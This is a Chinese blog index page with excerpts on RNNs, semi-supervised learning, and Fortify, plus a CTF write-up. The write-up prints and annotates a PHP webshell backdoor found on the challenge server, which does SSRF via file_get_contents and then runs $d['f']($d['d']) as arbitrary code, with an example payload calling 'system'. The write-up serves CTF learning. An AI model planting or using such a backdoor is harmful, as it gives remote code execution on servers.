          <h1 id="RNN"><a href="#RNN" class="headerlink" title="RNN"></a>RNN</h1><p>普通神经网络不能考虑之前一个单词对下一个单词的作用，即上下文，因此引入RNN。</p><p>RNN在中间层加入了memory，在每次传播后，将中间层输出存储到memory，在下一次传播时，将结果取出与原输入一起作为输入，之后再传出到下一层。</p><p>以下图为例，为了方便演示，将激活函数全部变为线性，并且权重设为1，假设一开始，输入矩阵$[1,1]^T$，那么会输出$[4,4]^T$，同时两个记忆体由0变为2（因为隐藏层的输出是2）</p>
          <!--noindex-->
          
            <div class="post-button">
              <a class="btn" href="/ml-RNN学习笔记/#more" rel="contents">
                阅读全文 &raquo;
              </a>
            </div>
          
          <!--/noindex-->
        
      
    </div>

    
    
    
      <footer class="post-footer">
          <div class="post-eof"></div>
        
      </footer>
  </div>
  
  
  
  </article>

    
        <article itemscope itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block home">
    <link itemprop="mainEntityOfPage" href="http://anemone.top/ml-半监督机器学习学习笔记/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="name" content="Anemone">
      <meta itemprop="description" content="关注Web安全、移动安全、Fuzz测试和机器学习">
      <meta itemprop="image" content="/images/avatar.jpg">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="Anemone's Blog">
    </span>
      <header class="post-header">
        <h2 class="post-title" itemprop="name headline">
            
            <a href="/ml-半监督机器学习学习笔记/" class="post-title-link" itemprop="url">半监督机器学习模型学习笔记</a>
          
        </h2>

        <div class="post-meta">
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              <span class="post-meta-item-text">发表于</span>

              
                
              

              <time title="创建时间：2019-10-23 20:30:49" itemprop="dateCreated datePublished" datetime="2019-10-23T20:30:49+08:00">2019-10-23</time>
            </span>
          
            

            
              <span class="post-meta-item">
                <span class="post-meta-item-icon">
                  <i class="fa fa-calendar-check-o"></i>
                </span>
                <span class="post-meta-item-text">更新于</span>
                <time title="修改时间：2019-11-03 20:42:17" itemprop="dateModified" datetime="2019-11-03T20:42:17+08:00">2019-11-03</time>
              </span>
            
          
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="fa fa-folder-o"></i>
              </span>
              <span class="post-meta-item-text">分类于</span>
              
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing"><a href="/categories/机器学习/" itemprop="url" rel="index"><span itemprop="name">机器学习</span></a></span>

                
                
              
            </span>
          

          
            <span id="/ml-半监督机器学习学习笔记/" class="post-meta-item leancloud_visitors" data-flag-title="半监督机器学习模型学习笔记" title="阅读次数">
              <span class="post-meta-item-icon">
                <i class="fa fa-eye"></i>
              </span>
              <span class="post-meta-item-text">阅读次数：</span>
              <span class="leancloud-visitors-count"></span>
            </span>
          

        </div>
      </header>

    
    
    
    <div class="post-body" itemprop="articleBody">

      
          <h1 id="基本介绍"><a href="#基本介绍" class="headerlink" title="基本介绍"></a>基本介绍</h1><p>半监督（Semi-supervised Learning）即输入小部分已标记数据和大部分未标记数据进行学习，以提升准确率的一类机器学习方法。</p><p>有两种用法：</p><ul>
<li>Transductive learning：无标记数据就是测试集本身</li>
<li>Inductive learning：无标记数据不是测试集 </li>
</ul>
          <!--noindex-->
          
            <div class="post-button">
              <a class="btn" href="/ml-半监督机器学习学习笔记/#more" rel="contents">
                阅读全文 &raquo;
              </a>
            </div>
          
          <!--/noindex-->
        
      
    </div>

    
    
    
      <footer class="post-footer">
          <div class="post-eof"></div>
        
      </footer>
  </div>
  
  
  
  </article>

    
        <article itemscope itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block home">
    <link itemprop="mainEntityOfPage" href="http://anemone.top/whitebox-Fortify使用初探/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="name" content="Anemone">
      <meta itemprop="description" content="关注Web安全、移动安全、Fuzz测试和机器学习">
      <meta itemprop="image" content="/images/avatar.jpg">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="Anemone's Blog">
    </span>
      <header class="post-header">
        <h2 class="post-title" itemprop="name headline">
            
            <a href="/whitebox-Fortify使用初探/" class="post-title-link" itemprop="url">Fortify使用初探</a>
          
        </h2>

        <div class="post-meta">
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              <span class="post-meta-item-text">发表于</span>

              
                
              

              <time title="创建时间：2019-10-23 09:27:49" itemprop="dateCreated datePublished" datetime="2019-10-23T09:27:49+08:00">2019-10-23</time>
            </span>
          
            

            
              <span class="post-meta-item">
                <span class="post-meta-item-icon">
                  <i class="fa fa-calendar-check-o"></i>
                </span>
                <span class="post-meta-item-text">更新于</span>
                <time title="修改时间：2019-11-03 21:22:18" itemprop="dateModified" datetime="2019-11-03T21:22:18+08:00">2019-11-03</time>
              </span>
            
          
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="fa fa-folder-o"></i>
              </span>
              <span class="post-meta-item-text">分类于</span>
              
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing"><a href="/categories/源码安全/" itemprop="url" rel="index"><span itemprop="name">源码安全</span></a></span>

                
                
              
            </span>
          

          
            <span id="/whitebox-Fortify使用初探/" class="post-meta-item leancloud_visitors" data-flag-title="Fortify使用初探" title="阅读次数">
              <span class="post-meta-item-icon">
                <i class="fa fa-eye"></i>
              </span>
              <span class="post-meta-item-text">阅读次数：</span>
              <span class="leancloud-visitors-count"></span>
            </span>
          

        </div>
      </header>

    
    
    
    <div class="post-body" itemprop="articleBody">

      
          文章发表在t00ls上——https://www.t00ls.net/thread-53464-1-1.html，这里只做归档。
          <!--noindex-->
          
            <div class="post-button">
              <a class="btn" href="/whitebox-Fortify使用初探/#more" rel="contents">
                阅读全文 &raquo;
              </a>
            </div>
          
          <!--/noindex-->
        
      
    </div>

    
    
    
      <footer class="post-footer">
          <div class="post-eof"></div>
        
      </footer>
  </div>
  
  
  
  </article>

    
        <article itemscope itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block home">
    <link itemprop="mainEntityOfPage" href="http://anemone.top/ctf-2019“安恒杯”WEB安全测试秋季练习题wp/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="name" content="Anemone">
      <meta itemprop="description" content="关注Web安全、移动安全、Fuzz测试和机器学习">
      <meta itemprop="image" content="/images/avatar.jpg">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="Anemone's Blog">
    </span>
      <header class="post-header">
        <h2 class="post-title" itemprop="name headline">
            
            <a href="/ctf-2019“安恒杯”WEB安全测试秋季练习题wp/" class="post-title-link" itemprop="url">2019“安恒杯”WEB安全测试秋季大赛练习题wp</a>
          
        </h2>

        <div class="post-meta">
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              <span class="post-meta-item-text">发表于</span>

              
                
              

              <time title="创建时间：2019-10-17 20:38:34 / 修改时间：21:14:29" itemprop="dateCreated datePublished" datetime="2019-10-17T20:38:34+08:00">2019-10-17</time>
            </span>
          
            

            
          
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="fa fa-folder-o"></i>
              </span>
              <span class="post-meta-item-text">分类于</span>
              
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing"><a href="/categories/CTF/" itemprop="url" rel="index"><span itemprop="name">CTF</span></a></span>

                
                
              
            </span>
          

          
            <span id="/ctf-2019“安恒杯”WEB安全测试秋季练习题wp/" class="post-meta-item leancloud_visitors" data-flag-title="2019“安恒杯”WEB安全测试秋季大赛练习题wp" title="阅读次数">
              <span class="post-meta-item-icon">
                <i class="fa fa-eye"></i>
              </span>
              <span class="post-meta-item-text">阅读次数：</span>
              <span class="leancloud-visitors-count"></span>
            </span>
          

        </div>
      </header>

    
    
    
    <div class="post-body" itemprop="articleBody">

      
          <h1 id="爱い窒息、痛"><a href="#爱い窒息、痛" class="headerlink" title="爱い窒息、痛"></a>爱い窒息、痛</h1><h2 id="0x01-路径遍历"><a href="#0x01-路径遍历" class="headerlink" title="0x01 路径遍历"></a>0x01 路径遍历</h2><p>打开地址看到路径遍历：</p><p><img src="/ctf-2019“安恒杯”WEB安全测试秋季练习题wp/1571126059065.png" alt="1571126059065"></p><p>在upload文件夹下发现后门和其源码</p><p><img src="/ctf-2019“安恒杯”WEB安全测试秋季练习题wp/1571141073240.png" alt="1571141073240"></p><p><img src="/ctf-2019“安恒杯”WEB安全测试秋季练习题wp/1571141089817.png" alt="1571141089817"></p><h2 id="0x02-后门审计"><a href="#0x02-后门审计" class="headerlink" title="0x02 后门审计"></a>0x02 后门审计</h2><p>格式化后，进行代码审计</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">$a = <span class="keyword">isset</span>($_POST[<span class="string">'pass'</span>]) ? trim($_POST[<span class="string">'pass'</span>]) : <span class="string">''</span>;</span><br><span class="line"><span class="keyword">if</span> ($a == <span class="string">''</span>) &#123;</span><br><span class="line">    echologin();</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    chkpass($a);</span><br><span class="line">    helloowner($a);</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">chkpass</span><span class="params">($a)</span> </span>&#123;</span><br><span class="line">    <span class="comment">// UA是md5(POST['pass'])</span></span><br><span class="line">    <span class="keyword">if</span> (stripos($_SERVER[<span class="string">'HTTP_USER_AGENT'</span>], md5($a)) === <span class="keyword">false</span>) &#123;</span><br><span class="line">        echofail(<span class="number">1</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">true</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">helloowner</span><span class="params">($a)</span> </span>&#123;</span><br><span class="line">    <span class="comment">// 这里产生一个url</span></span><br><span class="line">    $b = gencodeurl($a);</span><br><span class="line">    <span class="comment">// 从url获取文件内容，SSRF</span></span><br><span class="line">    $c = file_get_contents($b);</span><br><span class="line">    <span class="keyword">if</span> ($c == <span class="keyword">false</span>) &#123;</span><br><span class="line">        echofail(<span class="number">2</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    $d = @json_decode($c, <span class="number">1</span>);</span><br><span class="line">    <span class="keyword">if</span> (!<span class="keyword">isset</span>($d[<span class="string">'f'</span>])) &#123;</span><br><span class="line">        echofail(<span class="number">3</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// CodeInjection, may cause RCE, e.g.,&#123;"f":"system","d":"ls"&#125;</span></span><br><span class="line">    $d[<span class="string">'f'</span>]($d[<span class="string">'d'</span>]);</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">gencodeurl</span><span class="params">($a)</span> </span>&#123;</span><br><span class="line">    $e = md5(date(<span class="string">"Y-m-d"</span>));</span><br><span class="line">    <span class="keyword">if</span> (strlen($a) &gt; <span class="number">40</span>) &#123;</span><br><span class="line">        $f = substr($a, <span class="number">30</span>, <span class="number">5</span>);</span><br><span class="line">        $g = substr($a, <span class="number">10</span>, <span class="number">10</span>);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        $f = <span class="string">'good'</span>;</span><br><span class="line">        $g = <span class="string">'web.com'</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    $b = <span class="string">'http://'</span>.$f.$g; <span class="comment">// url=http://pass[30:35]+pass[10:20], i.e.,url&lt;=15</span></span><br><span class="line">    <span class="keyword">return</span> $b;</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">echofail</span><span class="params">($h)</span> </span>&#123;<span class="comment">/*...*/</span>&#125;</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">echologin</span><span class="params">()</span> </span>&#123;<span class="comment">/*...*/</span>&#125; </span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
          <!--noindex-->
          
            <div class="post-button">
              <a class="btn" href="/ctf-2019“安恒杯”WEB安全测试秋季练习题wp/#more" rel="contents">
                阅读全文 &raquo;
              </a>
            </div>
          
          <!--/noindex-->
        
      
    </div>

    
    
    
      <footer class="post-footer">
          <div class="post-eof"></div>
        
      </footer>
  </div>
  
  
  
  </article>

    
  </div>

  
  <nav class="pagination">
    <span class="page-number current">1</span><a class="page-number" href="/page/2/">2</a><span class="space">&hellip;</span><a class="page-number" href="/page/6/">6</a><a class="extend next" rel="next" href="/page/2/"><i class="fa fa-angle-right" aria-label="下一页"></i></a>
  </nav>


          </div>
          

        </div>
          
  
  <div class="sidebar-toggle">
    <div class="sidebar-toggle-line-wrap">
      <span class="sidebar-toggle-line sidebar-toggle-line-first"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-middle"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-last"></span>
    </div>
  </div>

  <aside class="sidebar">
    <div class="sidebar-inner">

      <ul class="sidebar-nav motion-element">
        <li class="sidebar-nav-toc">
          文章目录
        </li>
        <li class="sidebar-nav-overview">
          站点概览
        </li>
      </ul>

      <!--noindex-->
      <div class="post-toc-wrap sidebar-panel">
      </div>
      <!--/noindex-->

      <div class="site-overview-wrap sidebar-panel">
        <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
    <img class="site-author-image" itemprop="image"
      src="/images/avatar.jpg"
      alt="Anemone">
  <p class="site-author-name" itemprop="name">Anemone</p>
  <div class="site-description" itemprop="description">关注Web安全、移动安全、Fuzz测试和机器学习</div>
</div>
<div class="site-state-wrap motion-element">
  <nav class="site-state">
      <div class="site-state-item site-state-posts">
        
          <a href="/archives/">
        
          <span class="site-state-item-count">52</span>
          <span class="site-state-item-name">日志</span>
        </a>
      </div>
    
      
      
      <div class="site-state-item site-state-categories">
        
          
            <a href="/categories/">
          
        
        <span class="site-state-item-count">29</span>
        <span class="site-state-item-name">分类</span>
        </a>
      </div>
    
      
      
      <div class="site-state-item site-state-tags">
        
          
            <a href="/tags/">
          
        
        <span class="site-state-item-count">71</span>
        <span class="site-state-item-name">标签</span>
        </a>
      </div>
    
  </nav>
</div>
  <div class="feed-link motion-element">
    <a href="/atom.xml" rel="alternate">
      <i class="fa fa-rss"></i>RSS
    </a>
  </div>
  <div class="links-of-author motion-element">
      <span class="links-of-author-item">
      
      
        
      
      
        
      
        <a href="https://github.com/anemone95" title="GitHub &rarr; https://github.com/anemone95" rel="noopener" target="_blank"><i class="fa fa-fw fa-github"></i>GitHub</a>
      </span>
    
      <span class="links-of-author-item">
      
      
        
      
      
        
      
        <a href="mailto:anemone95@qq.com" title="E-Mail &rarr; mailto:anemone95@qq.com" rel="noopener" target="_blank"><i class="fa fa-fw fa-envelope"></i>E-Mail</a>
      </span>
    
  </div>
  <div class="cc-license motion-element" itemprop="license">
    
  
    <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/deed.zh" class="cc-opacity" rel="noopener" target="_blank"><img src="/images/cc-by-nc-sa.svg" alt="Creative Commons"></a>
  </div>



      </div>

    </div>
  </aside>
  <div id="sidebar-dimmer"></div>


      </div>
    </main>

    <footer id="footer" class="footer">
      <div class="footer-inner">
        <div class="copyright">&copy; 2018 – <span itemprop="copyrightYear">2020</span>
  <span class="with-love" id="animate">
    <i class="fa fa-user"></i>
  </span>
  <span class="author" itemprop="copyrightHolder">anemone</span>
</div>
  <div class="powered-by">由 <a href="https://hexo.io" class="theme-link" rel="noopener" target="_blank">Hexo</a> 强力驱动 v3.9.0</div>
  <span class="post-meta-divider">|</span>
  <div class="theme-info">主题 – <a href="https://theme-next.org" class="theme-link" rel="noopener" target="_blank">NexT.Pisces</a> v7.4.0</div>

        






  
  <script>
  function leancloudSelector(url) {
    return document.getElementById(url).querySelector('.leancloud-visitors-count');
  }
  if (CONFIG.page.isPost) {
    function addCount(Counter) {
      var visitors = document.querySelector('.leancloud_visitors');
      var url = visitors.getAttribute('id').trim();
      var title = visitors.getAttribute('data-flag-title').trim();

      Counter('get', `/classes/Counter?where=${JSON.stringify({ url })}`)
        .then(response => response.json())
        .then(({ results }) => {
          if (results.length > 0) {
            var counter = results[0];
            Counter('put', '/classes/Counter/' + counter.objectId, { time: { '__op': 'Increment', 'amount': 1 } })
              .then(response => response.json())
              .then(() => {
                leancloudSelector(url).innerText = counter.time + 1;
              })
            
              .catch(error => {
                console.log('Failed to save visitor count', error);
              })
          } else {
              Counter('post', '/classes/Counter', { title: title, url: url, time: 1 })
                .then(response => response.json())
                .then(() => {
                  leancloudSelector(url).innerText = 1;
                })
                .catch(error => {
                  console.log('Failed to create', error);
                });
            
          }
        })
        .catch(error => {
          console.log('LeanCloud Counter Error', error);
        });
    }
  } else {
    function showTime(Counter) {
      var visitors = document.querySelectorAll('.leancloud_visitors');
      var entries = [...visitors].map(element => {
        return element.getAttribute('id').trim();
      });

      Counter('get', `/classes/Counter?where=${JSON.stringify({ url: { '$in': entries } })}`)
        .then(response => response.json())
        .then(({ results }) => {
          if (results.length === 0) {
            document.querySelectorAll('.leancloud_visitors .leancloud-visitors-count').forEach(element => {
              element.innerText = 0;
            });
            return;
          }
          for (var i = 0; i < results.length; i++) {
            var item = results[i];
            var url = item.url;
            var time = item.time;
            leancloudSelector(url).innerText = time;
          }
          for (var i = 0; i < entries.length; i++) {
            var url = entries[i];
            var element = leancloudSelector(url);
            if (element.innerText == '') {
              element.innerText = 0;
            }
          }
        })
        .catch(error => {
          console.log('LeanCloud Counter Error', error);
        });
    }
  }

  fetch('https://app-router.leancloud.cn/2/route?appId=o5UaCJdPfEG0g7MVxXSMagpT-gzGzoHsz')
    .then(response => response.json())
    .then(({ api_server }) => {
      var Counter = (method, url, data) => {
        return fetch(`https://${api_server}/1.1${url}`, {
          method: method,
          headers: {
            'X-LC-Id': 'o5UaCJdPfEG0g7MVxXSMagpT-gzGzoHsz',
            'X-LC-Key': 'c6IN1PuMV3QPltJcrHfn74Gt',
            'Content-Type': 'application/json',
          },
          body: JSON.stringify(data)
        });
      };
      if (CONFIG.page.isPost) {
        const localhost = /http:\/\/(localhost|127.0.0.1|0.0.0.0)/;
        if (localhost.test(document.URL)) return;
        addCount(Counter);
      } else if (document.querySelectorAll('.post-title-link').length >= 1) {
        showTime(Counter);
      }
    });
  </script>






        
      </div>
    </footer>
  </div>

  
  <script src="//cdn.jsdelivr.net/npm/animejs@3.1.0/lib/anime.min.js"></script>
  <script src="https://cdn.bootcss.com/velocity/1.2.1/velocity.min.js"></script>
  <script src="https://cdn.bootcss.com/velocity/1.2.1/velocity.ui.js"></script>
<script src="/js/utils.js?v=7.4.0"></script><script src="/js/motion.js?v=7.4.0"></script>
<script src="/js/schemes/pisces.js?v=7.4.0"></script>
<script src="/js/next-boot.js?v=7.4.0"></script>



  
  <script>
    (function(){
      var bp = document.createElement('script');
      var curProtocol = window.location.protocol.split(':')[0];
      bp.src = (curProtocol === 'https') ? 'https://zz.bdstatic.com/linksubmit/push.js' : 'http://push.zhanzhang.baidu.com/push.js';
      var s = document.getElementsByTagName("script")[0];
      s.parentNode.insertBefore(bp, s);
    })();
  </script>








  <script src="/js/local-search.js?v=7.4.0"></script>










<script>
if (document.querySelectorAll('pre.mermaid').length) {
  NexT.utils.getScript('//cdn.bootcss.com/mermaid/8.2.6/mermaid.min.js', () => {
    mermaid.initialize({
      theme: 'forest',
      logLevel: 3,
      flowchart: { curve: 'linear' },
      gantt: { axisFormat: '%m/%d/%Y' },
      sequence: { actorMargin: 50 }
    });
  }, window.mermaid);
}
</script>




  

  
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
      
    
  

  

  


</body>
</html>
